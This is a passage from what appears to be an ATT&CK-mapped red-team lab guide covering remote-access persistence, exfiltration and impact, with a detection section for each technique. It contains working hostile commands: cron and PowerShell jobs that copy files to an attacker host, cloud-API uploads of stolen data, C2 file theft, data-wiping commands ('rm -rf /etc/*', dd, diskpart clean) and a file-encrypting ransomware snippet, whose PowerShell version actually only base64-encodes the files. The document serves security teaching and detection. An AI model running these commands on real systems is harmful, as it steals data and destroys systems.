- **Tools:** TeamViewer, AnyDesk

Procedure 1 – Install TeamViewer

```
Start-Process -FilePath "TeamViewer_Setup.exe" /S
```

Procedure 2 – Configure AnyDesk for Auto-start

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AnyDesk /t REG_SZ /d "C:\Program
Files\AnyDesk\AnyDesk.exe"
```

Outcome:
Attacker remotely controls victim system using legitimate-looking remote software.

Detection Recommendations:

- Audit for unauthorized remote software installations.
- Monitor network connections to remote admin services.

Mapping:

Tactic	Technique	ID	Tools	Objective
Command & Control	Remote Access Software	T1219	TeamViewer, AnyDesk	Persist C2 with remote tools

---

Tactic 13: Exfiltration

Technique 1: Exfiltration Over Web Services

Technique ID: T1567

Goal:
Steal and upload sensitive data to cloud services like Google Drive or Dropbox.

Objective:
Hide data theft inside legitimate web traffic.

Lab Setup:

- **Attacker OS:** Parrot OS
- **Target OS:** Windows 10 VM
- **Tools:** Python scripts, Google Drive API, Dropbox API

Procedure 1 – Upload File to Google Drive

```
from pydrive.auth import GoogleAuth
from pydrive.drive import GoogleDrive

gauth = GoogleAuth()
gauth.LocalWebserverAuth()
drive = GoogleDrive(gauth)

file = drive.CreateFile({'title': 'data.zip'})
file.SetContentFile('data.zip')
file.Upload()
```

Procedure 2 – Dropbox Upload

```
curl -X POST https://content.dropboxapi.com/2/files/upload \
--header "Authorization: Bearer <TOKEN>" \
--header "Dropbox-API-Arg: {\"path\": \"/data.zip\"}" \
--header "Content-Type: application/octet-stream" \
--data-binary @data.zip
```

Outcome:
Sensitive files are exfiltrated through trusted cloud services.

Detection Recommendations:

- Monitor traffic to external storage services.
- Restrict use of personal cloud accounts.

Mapping:

Tactic	Technique	ID	Tools	Objective
Exfiltration	Exfiltration over Web Service	T1567	Google API, Dropbox	Hide stolen data in cloud traffic

Technique 2: Exfiltration Over C2 Channel

Technique ID: T1041

Goal:
Transfer stolen files using the same command-and-control channel already established.

Objective:
Avoid triggering security alerts by blending data theft with normal C2 traffic.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target:** Windows 11
- **Tools:** Cobalt Strike, Metasploit

Procedure 1 – Cobalt Strike Beacon Upload

```
beacon> upload C:\Users\victim\Documents\secrets.pdf
```

Procedure 2 – Metasploit File Download

```
download C:\\Users\\victim\\Desktop\\confidential.xlsx
```

Outcome:
Files are stolen over the same C2 session.

Detection Recommendations:

- Inspect C2 traffic for large file transfers.
- Monitor endpoint processes for unusual downloads/uploads.

Mapping:

Tactic	Technique	ID	Tools	Objective
Exfiltration	Exfiltration Over C2 Channel	T1041	Cobalt Strike, Metasploit	Steal files via active C2 link

Technique 3: Automated Exfiltration (Scripts/Tools)

Technique ID: T1020

Goal:
Use scripts or scheduled jobs to automatically steal files over time.

Objective:
Exfiltrate large amounts of data gradually to stay hidden.

Lab Setup:

- **Attacker OS:** Ubuntu
- **Target OS:** Windows/Linux servers
- **Tools:** cron, PowerShell, rsync

Procedure 1 – Linux Cron Job for Exfiltration

```
crontab -e

0 * * * * rsync -avz /home/user/docs attacker@192.168.1.15:/stolen/
```

Procedure 2 – Windows PowerShell Script

```
$source = "C:\Users\Public\Documents\*"

$destination = "\\192.168.1.15\share"

Copy-Item $source -Destination $destination -Recurse
```

Outcome:
Data is quietly stolen at regular intervals without manual execution.

Detection Recommendations:

- Monitor for unauthorized scheduled tasks.
- Check for abnormal outbound traffic patterns.

Mapping:

Tactic	Technique	ID	Tools	Objective
Exfiltration	Automated Exfiltration	T1020	cron, PowerShell, rsync	Steal data continuously

Tactic 14: Impact

Technique 1: Data Destruction

Technique ID: T1485

Goal:
Delete or corrupt critical files to disrupt system operations and cause loss of availability.

Objective:
Damage victim infrastructure and reduce recovery options.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target OS:** Windows & Linux systems
- **Tools:** PowerShell, shred, rm

Procedure 1 – Windows File Deletion

```
Remove-Item C:\Users\victim\Documents\* -Recurse -Force
```

Procedure 2 – Linux Data Wiping

```
shred -n 5 -z /home/user/confidential.txt

rm -rf /etc/*
```

Outcome:
Victim loses access to important data, leading to downtime.

Detection Recommendations:

- Monitor for mass file deletion activity.
- Implement reliable and frequent backups.

Mapping:

Tactic	Technique	ID	Tools	Objective
Impact	Data Destruction	T1485	PowerShell, shred	Delete/erase critical data

---

Technique 2: Disk Wipe

Technique ID: T1561

Goal:
Overwrite or wipe disks to render victim machines unbootable.

Objective:
Cause permanent data loss and system inoperability.

Lab Setup:

- **Attacker OS:** Parrot OS
- **Target OS:** Windows & Linux
- **Tools:** diskpart, dd

Procedure 1 – Windows Disk Wipe (diskpart)

```
diskpart

select disk 0

clean all
```

Procedure 2 – Linux Disk Wipe (dd)

```
dd if=/dev/zero of=/dev/sda bs=1M
```

Outcome:
System becomes unbootable, requiring OS reinstallation.

Detection Recommendations:

- Use disk integrity monitoring.

- Maintain offline backups for quick restoration.

Mapping:

Tactic	Technique	ID	Tools	Objective
Impact	Disk Wipe	T1561	diskpart, dd	Render machines unusable

Technique 3: Ransomware (Data Encryption for Impact)

Technique ID: T1486

Goal:
Encrypt victim files and demand ransom for decryption keys.

Objective:
Monetize attacks by extorting victims.

Lab Setup:

- **Attacker OS:** Windows 10 VM
- **Tools:** custom ransomware script, openssl

Procedure 1 – Encrypt Files with PowerShell

```
Get-ChildItem C:\Users\victim\Documents\* |

ForEach-Object {

   $content = Get-Content $_.FullName

   $bytes = [System.Text.Encoding]::UTF8.GetBytes($content)

   $enc = [System.Convert]::ToBase64String($bytes)

   Set-Content $_.FullName $enc

}
```

Procedure 2 – Linux OpenSSL Encryption

```
openssl enc -aes-256-cbc -in confidential.txt -out locked.txt -k SecretKey123
```

Outcome:
Victim files become inaccessible until ransom is paid.

Detection Recommendations:

- Use anti-ransomware monitoring tools.
- Regularly back up files to offline storage.
- Educate users on phishing/ransomware risks.

Mapping:

Tactic	Technique	ID	Tools	Objective
Impact	Ransomware (Encryption)	T1486	PowerShell, openssl	Encrypt data for ransom